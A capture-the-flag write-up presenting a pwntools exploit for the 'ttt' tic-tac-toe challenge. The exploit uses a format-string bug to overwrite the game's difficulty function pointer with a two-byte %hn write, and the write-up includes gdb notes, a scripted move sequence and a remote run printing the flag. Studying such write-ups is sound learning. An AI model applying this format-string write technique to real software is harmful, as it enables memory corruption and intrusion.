Tags: pwn format-string 

Rating:

### Exploit code:

```
#!/usr/bin/env python
from pwn import *

elf = context.binary = ELF('./ttt',checksec=False)

if args.REMOTE:
s1 = ssh("ttt","challenges2.hexionteam.com",3004,"hexctf")
proc = s1.process('./ttt')
else:
proc = process(elf.path)

"""
============
Attack plan:
============
Use format string bug in the following code:

puts("Please enter your name: ");
scanf("%24s", name);
getchar();
snprintf(message, 100, "Welcome %s!\n", name);

To change the value of the function the AI uses to decide its move:

logic_func DIFFICULTY = IMPOSSIBLE;

Basically we just change the function to a "return 0;".

Testing it out with gdb:

pwndbg> x/gx 0x603010
0x603010 <DIFFICULTY>: 0x0000000000401cd5
pwndbg> x/2i 0x0000000000401cd5
0x401cd5 <IMPOSSIBLE>: push rbp
0x401cd6 <IMPOSSIBLE+1>: mov rbp,rsp
pwndbg> x/65i 0x401d91
0x401d91 <IMPOSSIBLE+188>: mov eax,0x0
0x401d96 <IMPOSSIBLE+193>: jmp 0x401d9c <IMPOSSIBLE+199>
0x401d98 <IMPOSSIBLE+195>: movsx eax,BYTE PTR [rbp-0xd]
0x401d9c <IMPOSSIBLE+199>: leave
0x401d9d <IMPOSSIBLE+200>: ret
pwndbg> set *(long *)0x603010=0x401d91

And then playing against the AI, we find that if we make the following moves:

,---,---,---,
| | | |
|---+---+---|
| | | |
|---+---+---|
| 3 | 2 | 1 |
'---'---'---'

Its doesnt make a move agaisnt us.

So, we just need to change the value at 0x603010, from 0x401cd5 to 0x401d91.
This is just a write of two bytes, which we can do easily with out format string bug.
We just need to know our input starts at positional argument and to remember that
8 bytes have already been printed by the "Welcome ".
"""
proc.recvuntil('your name: \n')
fmt = '%7561c%10$hnaaaa'+p64(0x603010)
proc.sendline(fmt)

proc.recvuntil('Press ENTER to begin.\n')
proc.sendline('') # send enter
proc.sendline('a') # go left (wrap into last column)
proc.sendline('s') # move down to middle row.
proc.sendline('s') # move down to bottom row.
proc.sendline(' ') # send space to fill square (bottom-left)
proc.sendline('a') # move left (into middle column)
proc.sendline(' ') # send space to fill square (bottom-middle)
proc.sendline('a') # move left (into left column)
proc.sendline(' ') # send space to fill square (bottom-left)
proc.sendline('q') # finish game

lines_printed = proc.recvuntil('Do you want to play again?')
print "\n".join(lines_printed.split('\n')[-4:])
```

### Using it:

```
$ ./exploit.py REMOTE
[+] Connecting to challenges2.hexionteam.com on port 3004: Done
[*] [email protected]:
Distro Unknown
OS: linux
Arch: amd64
Version: 5.0.0
ASLR: Enabled
[+] Starting rem*

hexCTF{h3y_th4ts_ch3at1ng}
Do you want to play again?
$
```